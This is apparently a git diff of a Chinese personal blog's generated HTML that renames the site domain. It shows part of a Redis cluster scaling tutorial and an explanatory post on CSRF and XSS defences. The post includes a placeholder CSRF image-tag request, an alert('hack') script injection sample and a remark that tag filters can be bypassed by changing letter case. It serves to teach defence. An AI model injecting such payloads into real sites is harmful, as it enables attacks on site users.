节点ID来完成，这个命令可以让当前节点忘记目标id的节点</p><p>注意：该命令存在时效性，60秒内有效，如果60秒内集群内的节点都没有使用该命令忘记该节点，会导致该节点忘记失败，因为只有有一个节点没有忘记都会对该节点进行通信，导致其他节点忘记命令失效</p><p>迁移槽数据</p><p>redis-trib.rb reshard &ndash;from 需要下线的节点id &ndash;to 迁移数据到哪个节点的id &ndash;slots 迁移多少个槽 192.168.1.10:6385</p><p>是否确认操作，yes或者no</p><p>如果需要将槽分配给多个节点，需要多次执行该命令，只需要修改迁移数据到哪个节点id和迁移多少个槽即可，迁移多少个槽给哪个节点，看需求分配</p><p>下线节点（这个192.168.1.2:6385是集群内部的节点，不是下线节点，通过该节点来广播）</p><p>redis-trib.rb del-node 192.168.1.2:6385 需要下线的节点id</p><p>下线主节点，从节点都可以用这个，但是下线前请确保该节点的槽已经分配给其他节点，保证下线节点无槽，无任务，因为该命令会将该节点从集群中删除，并且该节点也被删除，这个节点将不存在</p><hr><p>故障发现，故障恢复</p><hr><p>集群完整性</p><p>带宽消耗</p><p>pubsub广播</p><p>集群倾斜和数据倾斜，以及请求倾斜</p><p>读写分离</p><p>数据迁移</p><p>集群和单机</p><hr><p>缓存更新策略</p><p>缓存粒度，穿透，无底洞问题</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/redis/>Redis</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/99/><span class=title>« Prev</span><br><span>简单了解CSRF攻击和XSS攻击</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/96/><span class=title>Next »</span><br><span>Golang学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+缩：当不需要这个节点时或者这个节点故障了，移除该节点，下线</p><p>原理就是数据和槽在节点的迁移</p><p>扩容节点</p><p>创建新的节点，这个节点还是孤立节点，需要加入到集群</p><p>cluster meet 192.168.1.10 6385</p><p>查看加入集群是否成功</p><p>cluster nodes</p><p>加入集群后因为没有分配槽，是不进行工作的</p><p>迁移数据和槽</p><p>计算，平均槽数量</p><p>配置主从（新加入的节点设置为从节点）</p><p>cluster replicate 主节点的id</p><p>如果需要配置该节点为主节点，可以</p><p>cluster meet 196.168.1.10 6385</p><p>迁移数据非常麻烦，这里使用redis-trib.rb来完成</p><p>redis-trib.rb是redis官方推出的redis集群管理工具（因为是用ruby编写成的工具，需要安装ruby和rubygem redis客户端）</p><p>安装redis-trib.rb</p><p>安装ruby（redis-trib.rb依赖于ruby）</p><p>使用编译源码的方式来安装ruby</p><p><a href=https://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz>https://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz</a></p><p>安装redis模块</p><p>gem install redis</p><p>redis-trib.rb实质上在redis源码的src目录里，可以拷贝redis-trib.rb到/usr/bin目录下，或者创建一个软链接都可以</p><p>分配槽数据</p><p>redis-trib.rb reshard 192.168.1.2:6385</p><p>它会问你进行迁移多少个槽，1到16384，根据需求进行分配</p><p>然后问你槽迁移到哪个节点，提供节点ID</p><p>最后它问你源节点的id是什么，如果使用all，将表示全部节点都作为分配槽的源节点，当然也可以指定源节点，只需要输入其节点id即可，输入完毕后输入done完成</p><p>它问你操作是否确认，无误yes，有误请no，输入完毕后就会进行迁移</p><p>收缩集群</p><p>下线节点持有槽进行迁移，通知其他节点忘记该下线节点，下线节点</p><p>忘记节点可通过cluster forget 节点ID来完成，这个命令可以让当前节点忘记目标id的节点</p><p>注意：该命令存在时效性，60秒内有效，如果60秒内集群内的节点都没有使用该命令忘记该节点，会导致该节点忘记失败，因为只有有一个节点没有忘记都会对该节点进行通信，导致其他节点忘记命令失效</p><p>迁移槽数据</p><p>redis-trib.rb reshard &ndash;from 需要下线的节点id &ndash;to 迁移数据到哪个节点的id &ndash;slots 迁移多少个槽 192.168.1.10:6385</p><p>是否确认操作，yes或者no</p><p>如果需要将槽分配给多个节点，需要多次执行该命令，只需要修改迁移数据到哪个节点id和迁移多少个槽即可，迁移多少个槽给哪个节点，看需求分配</p><p>下线节点（这个192.168.1.2:6385是集群内部的节点，不是下线节点，通过该节点来广播）</p><p>redis-trib.rb del-node 192.168.1.2:6385 需要下线的节点id</p><p>下线主节点，从节点都可以用这个，但是下线前请确保该节点的槽已经分配给其他节点，保证下线节点无槽，无任务，因为该命令会将该节点从集群中删除，并且该节点也被删除，这个节点将不存在</p><hr><p>故障发现，故障恢复</p><hr><p>集群完整性</p><p>带宽消耗</p><p>pubsub广播</p><p>集群倾斜和数据倾斜，以及请求倾斜</p><p>读写分离</p><p>数据迁移</p><p>集群和单机</p><hr><p>缓存更新策略</p><p>缓存粒度，穿透，无底洞问题</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/redis/>Redis</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/99/><span class=title>« Prev</span><br><span>简单了解CSRF攻击和XSS攻击</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/96/><span class=title>Next »</span><br><span>Golang学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/99/index.html b/posts/99/index.html
index efcb25ec..72bb8e93 100644
--- a/posts/99/index.html
+++ b/posts/99/index.html
@@ -3,12 +3,12 @@
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-<img src =&#34;http://xxx.xxx/test?xxx=666&#34;>
只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+<img src =&#34;http://xxx.xxx/test?xxx=666&#34;> 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
if(referer != null && referer.startsWith(&#34;https://xiaochenabc123.test.com&#34;)){
console.log(&#34;验证成功!!!&#34;)
}else{
console.log(&#34;验证失败!!!&#34;)
}
防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null && referer.startsWith(&#34;https://xiaochenabc123.test.com&#34;)){ console.log(&#34;验证成功!!!&#34;) }else{ console.log(&#34;验证失败!!!&#34;) } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加<script>alert(&lsquo;hack&rsquo;)</script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -28,24 +28,24 @@
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-<meta http-equiv=&#34;Content-Security-Policy&#34; content=&#34;default-src 'self'; img-src https://*;&#34;>
其中img-src对应的指定图像或者图标的有效来源
+<meta http-equiv=&#34;Content-Security-Policy&#34; content=&#34;default-src 'self'; img-src https://*;&#34;> 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
 可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值
 Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie
-中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/99/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解CSRF攻击和XSS攻击"><meta property="og:description" content="CSRF
+中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/99/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解CSRF攻击和XSS攻击"><meta property="og:description" content="CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-<img src =&#34;http://xxx.xxx/test?xxx=666&#34;>
只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+<img src =&#34;http://xxx.xxx/test?xxx=666&#34;> 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
if(referer != null && referer.startsWith(&#34;https://xiaochenabc123.test.com&#34;)){
console.log(&#34;验证成功!!!&#34;)
}else{
console.log(&#34;验证失败!!!&#34;)
}
防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null && referer.startsWith(&#34;https://xiaochenabc123.test.com&#34;)){ console.log(&#34;验证成功!!!&#34;) }else{ console.log(&#34;验证失败!!!&#34;) } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加<script>alert(&lsquo;hack&rsquo;)</script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -65,23 +65,23 @@
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-<meta http-equiv=&#34;Content-Security-Policy&#34; content=&#34;default-src 'self'; img-src https://*;&#34;>
其中img-src对应的指定图像或者图标的有效来源
+<meta http-equiv=&#34;Content-Security-Policy&#34; content=&#34;default-src 'self'; img-src https://*;&#34;> 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
 可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值
 Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie
-中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/99/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-12T17:00:00+00:00"><meta property="article:modified_time" content="2021-09-12T17:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解CSRF攻击和XSS攻击"><meta name=twitter:description content="CSRF
+中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/99/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-12T17:00:00+00:00"><meta property="article:modified_time" content="2021-09-12T17:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解CSRF攻击和XSS攻击"><meta name=twitter:description content="CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-<img src =&#34;http://xxx.xxx/test?xxx=666&#34;>
只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+<img src =&#34;http://xxx.xxx/test?xxx=666&#34;> 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
if(referer != null && referer.startsWith(&#34;https://xiaochenabc123.test.com&#34;)){
console.log(&#34;验证成功!!!&#34;)
}else{
console.log(&#34;验证失败!!!&#34;)
}
防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null && referer.startsWith(&#34;https://xiaochenabc123.test.com&#34;)){ console.log(&#34;验证成功!!!&#34;) }else{ console.log(&#34;验证失败!!!&#34;) } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加<script>alert(&lsquo;hack&rsquo;)</script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -101,22 +101,22 @@
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-<meta http-equiv=&#34;Content-Security-Policy&#34; content=&#34;default-src 'self'; img-src https://*;&#34;>
其中img-src对应的指定图像或者图标的有效来源
+<meta http-equiv=&#34;Content-Security-Policy&#34; content=&#34;default-src 'self'; img-src https://*;&#34;> 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
 可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值
 Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie
-中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解CSRF攻击和XSS攻击","item":"https://xiaochenabc123.github.io/posts/99/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解CSRF攻击和XSS攻击","name":"简单了解CSRF攻击和XSS攻击","description":"CSRF\nCSRF：跨站点请求伪造(Cross—Site Request Forgery)\nCSRF实质上就是盗用身份，来实现发送恶意请求\n在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求\n例如：\n\u0026lt;img src =\u0026quot;http://xxx.xxx/test?xxx=666\u0026quot;\u0026gt;\r只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等\n而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求\n这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击\n还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录\nJavaScript简单实现方法\nlet referer = document.location.href;\rif(referer != null \u0026amp;\u0026amp; referer.startsWith(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)){\rconsole.log(\u0026quot;验证成功!!!\u0026quot;)\r}else{\rconsole.log(\u0026quot;验证失败!!!\u0026quot;)\r}\r防御措施：token身份验证，页面来源验证（referer）等等\nXSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS\nXSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的\n例如：在某个页面评论上加\u0026lt;script\u0026gt;alert(\u0026lsquo;hack\u0026rsquo;)\u0026lt;/script\u0026gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序\n做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出\n也用通过过滤\u0026lt;script\u0026gt;标签的，但是可以通过大小写绕过（html不区分大小写）\n简单的防御方法：\n通过严格的过滤白名单来过滤，限制输入值的类型\nhtml实体编码转义，htmlspecialchars()或者htmlentities()\nX-XSS-Protection\nxss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用户已经登录页面（Cookie），而且xss是在页面插入js，来恶意执行js脚本的内容\n同源策略（Same-origin Policy）：只有协议，域名，端口号都相同才满足同源，否则就是跨域\n同源策略是浏览器提供的安全策略，限制某个脚本的加载范围（隔离潜在恶意脚本的安全机制）\n可以限制脚本无法读取Cookie，LocalStorage和IndexDB，无法操作dom（无法获取dom），请求不能发送等等\n跨域通信的方式：jsonp，hash，postmessage，websocket，cors\n同域可以使用ajax，cors（支持同源通信，也是支持跨域），websocket（不受同源策略限制）进行通信\n内容安全策略（Content Security Policy）：可以一定程度上免疫或者削弱XSS攻击\n内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好\n要开启CSP需要服务器返回Content-Security-Policy头部\nhtml也可以配置该策略，例如：\n\u0026lt;meta http-equiv=\u0026quot;Content-Security-Policy\u0026quot; content=\u0026quot;default-src 'self'; img-src https://*;\u0026quot;\u0026gt;\r其中img-src对应的指定图像或者图标的有效来源\n常用的有img-src，font-src，script-src，style-src等等\nCSRF\nX-Frame-Options：DENY/SAMEORIGIN\n可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值\nStrict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie\n中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）","keywords":["CSRF","XSS"],"articleBody":"CSRF\nCSRF：跨站点请求伪造(Cross—Site Request Forgery)\nCSRF实质上就是盗用身份，来实现发送恶意请求\n在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求\n例如：\n只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等\n而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求\n这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击\n还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录\nJavaScript简单实现方法\nlet referer = document.location.href;\rif(referer != null \u0026\u0026 referer.startsWith(\"https://xiaochenabc123.test.com\")){\rconsole.log(\"验证成功!!!\")\r}else{\rconsole.log(\"验证失败!!!\")\r}\r防御措施：token身份验证，页面来源验证（referer）等等\nXSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS\nXSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的\n例如：在某个页面评论上加，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序\n做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出\n也用通过过滤","wordCount":"66","inLanguage":"en","datePublished":"2021-09-12T17:00:00Z","dateModified":"2021-09-12T17:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/99/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" 